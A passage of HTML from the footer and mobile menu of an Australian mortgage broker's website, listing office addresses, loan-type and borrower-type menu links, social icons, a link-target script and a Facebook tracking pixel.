<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-e00afd-43"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://www.google.com/maps/place/Intuitive+Finance/@-37.9423057,145.0136205,15z/data=!4m2!3m1!1s0x0:0x61ba69f85bdcce12?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111" data-type="link" data-id="https://www.google.com/maps/place/Intuitive+Finance/@-37.9423057,145.0136205,15z/data=!4m2!3m1!1s0x0:0x61ba69f85bdcce12?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111">65 Boundary St, Darlinghurst – NSW, 2010</a></span></li>
</ul></div>


<style>.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"]{margin-top:16px;margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingef6771-cb wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingef6771-cb">Brisbane</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items09ac66-c9 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-f69b16-ff"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://business.google.com/n/9847261145670698710/profile?authuser=1&amp;fid=7420700169130882476">20 Prospect Street, Fortitude Valley – QLD 4006</a></span></li>
</ul></div>


<style>.wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82, .wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82[data-kb-block="kb-adv-headingcb82fc-82"]{margin-top:16px;margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82[data-kb-block="kb-adv-headingcb82fc-82"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingcb82fc-82 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingcb82fc-82">Melbourne</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items18e39e-e4 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-54680c-e5"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://www.google.com/maps/place/Intuitive+Finance+-+Mortgage+brokers/@-37.9550506,145.0246036,15z/data=!4m2!3m1!1s0x0:0x29819dac62d609b5?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111" data-type="link" data-id="https://www.google.com/maps/place/Intuitive+Finance+-+Mortgage+brokers/@-37.9550506,145.0246036,15z/data=!4m2!3m1!1s0x0:0x29819dac62d609b5?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111">Level 1, 218 Bay Road, Sandringham – VIC, 3191</a></span></li>
</ul></div>
</div></div>

</div></div></section>	</div>
</div><!-- .footer-widget2 -->
					</div>
								</div>
		</div>
	</div>
</div>
<div class="site-bottom-footer-wrap site-footer-row-container site-footer-focus-item site-footer-row-layout-standard site-footer-row-tablet-layout-default site-footer-row-mobile-layout-default" data-section="kadence_customizer_footer_bottom">
	<div class="site-footer-row-container-inner">
				<div class="site-container">
			<div class="site-bottom-footer-inner-wrap site-footer-row site-footer-row-columns-1 site-footer-row-column-layout-row site-footer-row-tablet-column-layout-default site-footer-row-mobile-column-layout-row ft-ro-dir-row ft-ro-collapse-normal ft-ro-t-dir-default ft-ro-m-dir-default ft-ro-lstyle-plain">
									<div class="site-footer-bottom-section-1 site-footer-section footer-section-inner-items-1">
						
<div class="footer-widget-area site-info site-footer-focus-item content-align-default content-tablet-align-default content-mobile-align-default content-valign-default content-tablet-valign-default content-mobile-valign-default" data-section="kadence_customizer_footer_html">
	<div class="footer-widget-area-inner site-info-inner">
		<div class="footer-html inner-link-style-normal"><div class="footer-html-inner"><p>&copy; 2025 Intuitive Finance. All rights reserved.</p>
</div></div>	</div>
</div><!-- .site-info -->
					</div>
								</div>
		</div>
	</div>
</div>
	</div>
</footer><!-- #colophon -->

</div><!-- #wrapper -->

			<script>document.documentElement.style.setProperty('--scrollbar-offset', window.innerWidth - document.documentElement.clientWidth + 'px' );</script>
			    <script type="text/javascript">
    document.addEventListener("DOMContentLoaded", function() {
        const links = document.querySelectorAll('a[href^="http"]:not([href*="' + window.location.hostname + '"])');
        links.forEach(link => {
            link.setAttribute('target', '_blank');
        });
    });
    </script>
    <noscript><img height="1" width="1" style="display: none;" src="https://www.facebook.com/tr?id=600791710546829&ev=PageView&noscript=1&eid=d81f820e-7d79-4df3-9ff7-12b07482b47b&cd%5Bpage_title%5D=Sam+and+Amy+%E2%80%93+No+Deposit+Home+Loan&cd%5Bpost_type%5D=case-studies&cd%5Bpost_id%5D=17019&cd%5Bplugin%5D=PixelYourSite&cd%5Bevent_url%5D=intuitivefinance.com.au%2Fcase-studies%2Fsam-and-amy-no-deposit-home-loan%2F&cd%5Buser_role%5D=guest" alt="facebook_pixel"></noscript>
	<div id="mobile-drawer" class="popup-drawer popup-drawer-layout-fullwidth popup-drawer-animation-fade popup-drawer-side-right" data-drawer-target-string="#mobile-drawer"
			>
		<div class="drawer-overlay" data-drawer-target-string="#mobile-drawer"></div>
		<div class="drawer-inner">
						<div class="drawer-header">
				<button class="menu-toggle-close drawer-toggle" aria-label="Close menu"  data-toggle-target="#mobile-drawer" data-toggle-body-class="showing-popup-drawer-from-full" aria-expanded="false" data-set-focus=".menu-toggle-open"
							>
					<span class="toggle-close-bar"></span>
					<span class="toggle-close-bar"></span>
				</button>
			</div>
			<div class="drawer-content mobile-drawer-content content-align-left content-valign-top">
								<div class="site-header-item site-header-focus-item site-header-item-mobile-navigation mobile-navigation-layout-stretch-false" data-section="kadence_customizer_mobile_navigation">
		<nav id="mobile-site-navigation" class="mobile-navigation drawer-navigation drawer-navigation-parent-toggle-false" role="navigation" aria-label="Primary Mobile Navigation">
				<div class="mobile-menu-container drawer-menu-container">
			<ul id="mobile-menu" class="menu has-collapse-sub-nav"><li id="menu-item-19529" class="home menu-item menu-item-type-custom menu-item-object-custom menu-item-19529"><a href="/">Home</a></li>
<li id="menu-item-5490" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-5490"><div class="drawer-nav-drop-wrap"><a href="#">About</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5490 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
	<li id="menu-item-9450" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9450"><a href="https://intuitivefinance.com.au/what-makes-us-different/">What Makes Us Different</a></li>
	<li id="menu-item-11635" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11635"><a href="https://intuitivefinance.com.au/testimonials/">Testimonials</a></li>
	<li id="menu-item-16055" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16055"><a href="https://intuitivefinance.com.au/careers/">Broker &#038; Administration Careers</a></li>
</ul>
</li>
<li id="menu-item-20372" class="xmega-menu cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-20372"><div class="drawer-nav-drop-wrap"><a href="#">Loans</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-20372 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
	<li id="menu-item-5887" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-5887"><div class="drawer-nav-drop-wrap"><a href="/loans/loan-types/">Loan Types</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5887 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
	<ul class="sub-menu">
		<li id="menu-item-5992" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5992"><a href="https://intuitivefinance.com.au/loans/loan-types/variable-rate-home-loan/">Variable-Rate <span>Home Loans</span></a></li>
		<li id="menu-item-5988" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5988"><a href="https://intuitivefinance.com.au/loans/loan-types/fixed-rate-home-loan/">Fixed-Rate <span>Home Loans</span></a></li>
		<li id="menu-item-20388" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20388"><a href="https://intuitivefinance.com.au/loans/loan-types/investment-loan/">Investment Loans</a></li>
		<li id="menu-item-20385" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20385"><a href="https://intuitivefinance.com.au/loans/loan-types/loan-refinance/">Loan Refinancing</a></li>
		<li id="menu-item-12889" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-12889"><a href="https://intuitivefinance.com.au/loans/loan-types/guarantor-home-loan/">Guarantor <span><span>Home Loans</span></span></a></li>
		<li id="menu-item-12987" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-12987"><a href="https://intuitivefinance.com.au/loans/loan-types/no-deposit-home-loans/">Low-Deposit <span><span>Home Loans</span></span></a></li>
		<li id="menu-item-5986" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5986"><a href="https://intuitivefinance.com.au/loans/loan-types/bridging-loan/">Bridging Loans</a></li>
		<li id="menu-item-5987" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5987"><a href="https://intuitivefinance.com.au/loans/loan-types/construction/">Construction Loan</a></li>
		<li id="menu-item-20392" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20392"><a href="https://intuitivefinance.com.au/loans/loan-types/equity-release-loan/">Equity Release Loans</a></li>
		<li id="menu-item-5990" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5990"><a href="https://intuitivefinance.com.au/loans/loan-types/offset/">Offset Loans</a></li>
		<li id="menu-item-5991" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5991"><a href="https://intuitivefinance.com.au/loans/loan-types/split-loan/">Split Loans</a></li>
		<li id="menu-item-16346" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16346"><a href="https://intuitivefinance.com.au/loans/loan-types/asset-finance/">Asset Finance</a></li>
		<li id="menu-item-20395" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20395"><a href="https://intuitivefinance.com.au/loans/loan-types/commercial-loan/">Commercial Loans</a></li>
	</ul>
</li>
	<li id="menu-item-5872" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-5872"><div class="drawer-nav-drop-wrap"><a href="/loans/borrower-types/">Borrower Type</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5872 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
	<ul class="sub-menu">
		<li id="menu-item-5871" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5871"><a href="https://intuitivefinance.com.au/loans/borrower-types/first-home-buyer/">First Time Buyers</a></li>
		<li id="menu-item-5985" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5985"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-upsizers/">Property Upsizers</a></li>
		<li id="menu-item-19532" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-19532"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-investors/">Property Investors</a></li>
		<li id="menu-item-5983" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-5983"><div class="drawer-nav-drop-wrap"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-employed-home-loans/">Self-Employed</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5983 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
		<ul class="sub-menu">
			<li id="menu-item-20377" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20377"><a href="/loans/borrower-types/self-employed-home-loans/#tradies">Tradies</a></li>
			<li id="menu-item-20378" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20378"><a href="/loans/borrower-types/self-employed-home-loans/#business-owners">Business Owners</a></li>
		</ul>
</li>
		<li id="menu-item-19548" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-19548"><div class="drawer-nav-drop-wrap"><a href="https://intuitivefinance.com.au/loans/borrower-types/professionals/">Professionals</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-19548 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
		<ul class="sub-menu">
			<li id="menu-item-20379" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20379"><a href="/loans/borrower-types/professionals/#doctors">Doctors</a></li>
			<li id="menu-item-20381" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20381"><a href="/loans/borrower-types/professionals/#accountants">Accountants</a></li>
			<li id="menu-item-20380" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20380"><a href="/loans/borrower-types/professionals/#lawyers">Lawyers</a></li>
			<li id="menu-item-20382" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20382"><a href="/loans/borrower-types/professionals/#sports-people">Sports People</a></li>
		</ul>
</li>
		<li id="menu-item-5982" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5982"><a href="https://intuitivefinance.com.au/loans/borrower-types/expat-home-loans/">Expats</a></li>
		<li id="menu-item-5984" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5984"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-managed-supers-funds/">SMSF</a></li>
	</ul>
</li>
</ul>
</li>
<li id="menu-item-21779" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-21779"><div class="drawer-nav-drop-wrap"><a href="#">Knowledge Hub</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-21779 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
	<li id="menu-item-19555" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-19555"><a href="https://intuitivefinance.com.au/knowledge-hub/">Blogs</a></li>
	<li id="menu-item-6109" class="cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-6109"><div class="drawer-nav-drop-wrap"><a href="#">Help / Guide</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-6109 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
	<ul class="sub-menu">
		<li id="menu-item-16876" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16876"><a href="https://intuitivefinance.com.au/checklist-resources/">Checklist Resources</a></li>
		<li id="menu-item-6942" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6942"><a href="/the-key-finance-issues-all-property-upgraders-need-to-consider/">Guide &#8211; Upgraders</a></li>
		<li id="menu-item-6113" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6113"><a href="/7-things-all-property-investors-need-to-understand-about-finance/">Guide &#8211; Sophisticated and First time Investors</a></li>
		<li id="menu-item-6112" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6112"><a href="/guide-to-finance-for-self-employed-people/">Guide &#8211; Self Employed</a></li>
		<li id="menu-item-6943" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6943"><a href="/the-key-finance-issues-all-self-managed-super-funds-need-to-consider/">Guide &#8211; SMSF</a></li>
		<li id="menu-item-6944" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6944"><a href="/8-key-finance-issues-all-expatriates-need-to-understand/">Guide &#8211; Expatriates</a></li>
		<li id="menu-item-6111" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6111"><a href="/the-2022-guide-to-finance-for-first-homebuyers/">Guide &#8211; First Home Buyer</a></li>
		<li id="menu-item-6941" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6941"><a href="/property-buying-tips-and-handy-hints-successfully-manage-your-finances/">Guide &#8211; Buying Tips And Handy Hints</a></li>
	</ul>
</li>
</ul>
</li>
<li id="menu-item-5407" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5407"><a href="https://intuitivefinance.com.au/case-studies/">Case Studies</a></li>
<li id="menu-item-5433" class="contact-list-child menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-5433"><div class="drawer-nav-drop-wrap"><a href="https://intuitivefinance.com.au/contact/">Contact Us</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5433 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
	<li id="menu-item-20560" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20560"><a href="https://intuitivefinance.com.au/financial-brokers-sydney/">Sydney</a></li>
	<li id="menu-item-20561" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20561"><a href="https://intuitivefinance.com.au/financial-brokers-brisbane/">Brisbane</a></li>
</ul>
</li>
</ul>		</div>
	</nav><!-- #site-navigation -->
	</div><!-- data-section="mobile_navigation" -->
<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_mobile_button">
	<div class="mobile-header-button-wrap"><div class="mobile-header-button-inner-wrap"><a href="" target="_self" class="button mobile-header-button button-size-medium button-style-filled">Book a Consultation</a></div></div></div><!-- data-section="mobile_button" -->
<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_mobile_social">
	<div class="header-mobile-social-wrap"><div class="header-mobile-social-inner-wrap element-social-inner-wrap social-show-label-false social-style-filled"><a href="https://www.facebook.com/IntuitiveFinance" aria-label="Facebook" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-facebook"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>Facebook</title><g clip-path="url(#clip0_2727_2965)">     <path fill="#FFD400" d="M24 12.5C24 5.87188 18.6281 0.5 12 0.5C5.37188 0.5 0 5.87188 0 12.5C0 18.4906 4.3875 23.4547 10.125 24.3547V15.9688H7.07812V12.5H10.125V9.85625C10.125 6.84922 11.9156 5.1875 14.6578 5.1875C15.9703 5.1875 17.3438 5.42188 17.3438 5.42188V8.375H15.8297C14.3391 8.375 13.875 9.30078 13.875 10.25V12.5H17.2031L16.6711 15.9688H13.875V24.3547C19.6125 23.4547 24 18.4906 24 12.5Z"></path>   </g>   <defs>     <clipPath id="clip0_2727_2965">       <rect transform="translate(0 0.5)" fill="white" height="24" width="24"></rect>     </clipPath>   </defs> </svg></span></a><a href="https://www.youtube.com/channel/UClJk4jLqboW1xaqGaiAU1Kg" aria-label="YouTube" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-youtube"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>Youtube</title><path fill="#FFD400" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM17.0008 8.37466C17.5516 8.5258 17.9853 8.97111 18.1325 9.53661C18.4 10.5615 18.4 12.7 18.4 12.7C18.4 12.7 18.4 14.8384 18.1325 15.8634C17.9853 16.4289 17.5516 16.8742 17.0008 17.0254C16.0027 17.3 12 17.3 12 17.3C12 17.3 7.99732 17.3 6.99913 17.0254C6.44837 16.8742 6.01462 16.4289 5.86742 15.8634C5.60001 14.8384 5.60001 12.7 5.60001 12.7C5.60001 12.7 5.60001 10.5615 5.86742 9.53661C6.01462 8.97111 6.44837 8.5258 6.99913 8.37466C7.99732 8.1 12 8.1 12 8.1C12 8.1 16.0027 8.1 17.0008 8.37466Z" clip-rule="evenodd" fill-rule="evenodd"></path>   <path fill="#FFD400" d="M10.8 14.8999V10.8999L14 12.9L10.8 14.8999Z"></path> </svg></span></a><a href="https://www.linkedin.com/company/intuitive-finance-pty-ltd-australia-/?trk=public_profile_topcard-current-company" aria-label="Linkedin" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-linkedin"><span class="social-icon-custom-svg" style="max-width:24px"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none"><title>LinkedIn</title><path fill-rule="evenodd" clip-rule="evenodd" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 